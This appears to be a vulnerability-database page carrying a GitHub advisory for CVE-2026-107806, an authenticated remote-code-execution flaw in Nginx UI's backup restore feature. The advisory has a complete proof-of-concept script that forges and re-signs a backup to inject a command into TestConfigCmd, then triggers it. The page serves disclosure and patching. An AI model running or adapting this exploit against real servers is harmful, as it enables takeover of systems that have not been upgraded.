Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite
CVE-2026-107806 · GHSA-p393-cf76-4jmr · published 9 Oct 2026
How serious is it
- Severity: critical, CVSS score 9 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-107806?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/0xJacky/Nginx-UI(Go) >= 1.9.10-0.20260421071512-7864e378f5cf, < 1.9.10-0.20260728074146-a467ed652591
How to check
- Run
go list -m github.com/0xJacky/Nginx-UIin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/0xJacky/Nginx-UIto 1.9.10-0.20260728074146-a467ed652591 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
An authenticated nginx-ui user can call `POST /api/restore`, upload a forged encrypted backup, restore `app.ini`, set nginx command settings such as `TestConfigCmd`, and then trigger command execution with `POST /api/nginx/test`.
This was validated on nginx-ui `2.3.11 2(523) 6c86e5a5` in the local Docker container `uozi/nginx-ui:latest`.
## Impact
An authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored `app.ini`, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands.
## Affected Version / Environment
- Version: `nginx-ui 2.3.11 2(523) 6c86e5a5`
- Deployment: local Docker, `uozi/nginx-ui:latest`
- Base URL used in validation: `http://127.0.0.1:8080`
## Root Cause
`/api/restore` is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored `app.ini` into the live nginx-ui config path.
Relevant code paths:
- `api/backup/router.go`: `POST /api/restore`
- `api/backup/restore.go`: accepts `security_token` and uploaded backup file
- `internal/backup/manifest.go`: derives backup signing key from supplied AES key
- `internal/backup/restore.go`: `restoreNginxUIConfig` overwrites live `app.ini`
- `internal/nginx/exec.go`: nginx command settings execute through shell-backed command paths
## Proof of Concept
Assumptions:
- nginx-ui is already running.
- `$TOKEN` is a valid user JWT.
- `$CONTAINER` is the local disposable Docker container name for cleanup and evidence checks.
```bash
export BASE='http://127.0.0.1:8080'
export TOKEN='<valid nginx-ui JWT>'
export CONTAINER='nginx-ui'
```
Run only against a disposable local instance.
```bash
set -eu
TMP=$(mktemp -d)
trap 'rm -rf "$TMP"' EXIT
docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original"
curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \
-H "Authorization: $TOKEN" \
"$BASE/api/backup"
SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers")
KEY_B64=${SEC%%:*}
IV_B64=${SEC#*:}
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 256)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 256)
mkdir -p "$TMP/outer" "$TMP/inner"
unzip -q "$TMP/backup.zip" -d "$TMP/outer"
openssl enc -d -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
-in "$TMP/outer/nginx-ui.zip" \
-out "$TMP/nginx-ui.clear.zip"
unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner"
python3 - "$TMP/inner/app.ini" <<'PY'
from pathlib import Path
import sys
p = Path(sys.argv[1])
cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce"
lines = p.read_text().splitlines()
out = []
in_nginx = False
seen_nginx = False
written = False
for line in lines:
s = line.strip()
if s.startswith("[") and s.endswith("]"):
if in_nginx and not written:
out.append(cmd)
written = True
in_nginx = s.lower() == "[nginx]"
seen_nginx = seen_nginx or in_nginx
if in_nginx and s.startswith("TestConfigCmd"):
if not written:
out.append(cmd)
written = True
continue
out.append(line)
if in_nginx and not written:
out.append(cmd)
elif not seen_nginx:
out.extend(["", "[nginx]", cmd])
p.write_text("\n".join(out) + "\n")
PY
(cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .)
openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
-in "$TMP/nginx-ui.modified.clear.zip" \
-out "$TMP/outer/nginx-ui.zip"
OUTER="$TMP/outer" KEY_B64="$KEY_B64" python3 <<'PY'
from pathlib import Path
import base64
import hashlib
import hmac
import json
import os
outer = Path(os.environ["OUTER"])
key = base64.b64decode(os.environ["KEY_B64"])
manifest = json.loads((outer / "manifest.json").read_text())
for entry in manifest["files"]:
data = (outer / entry["name"]).read_bytes()
entry["sha256"] = hashlib.sha256(data).hexdigest()
entry["size"] = len(data)
manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"])
manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode()
(outer / "manifest.json").write_bytes(manifest_bytes)
signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest()
(outer / "manifest.sig").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest())
PY
(cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json)
curl -sS -X POST "$BASE/api/restore" \
-H "Authorization: $TOKEN" \
-F "restore_nginx=false" \
-F "restore_nginx_ui=true" \
-F "verify_hash=true" \
-F "security_token=$SEC" \
-F "backup_file=@$TMP/malicious-restore.zip"
sleep 10
for i in $(seq 1 80); do
curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break
sleep 0.5
done
curl -sS -X POST "$BASE/api/nginx/test" \
-H "Authorization: $TOKEN"
docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce'
# Cleanup and return the disposable instance to its original config.
docker cp "$TMP/app.ini.original" "$CONTAINER":/etc/nginx-ui/app.ini
docker exec "$CONTAINER" sh -lc 'rm -f /tmp/nginx-ui-restore-rce'
docker restart "$CONTAINER"
```
Expected output:
```text
{"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}
{"message":"","level":-1,"test_scope":"global"}
restored-rce
```
## Cleanup
The PoC performs cleanup at the end. If interrupted, restore the original `app.ini` from a known-good backup, remove `/tmp/nginx-ui-restore-rce`, and restart nginx-ui …
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/0xJacky/nginx-ui/security/advisories/GHSA-p393-cf76-4jmr
- nvd.nist.gov/vuln/detail/CVE-2026-107806
- github.com/0xJacky/nginx-ui/commit/a467ed652591fc0cd1b466a1ec751b493faef9f7
- github.com/0xJacky/nginx-ui/releases/tag/v2.5.0
- github.com/advisories/GHSA-p393-cf76-4jmr
Merged from GitHub Advisory Database. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON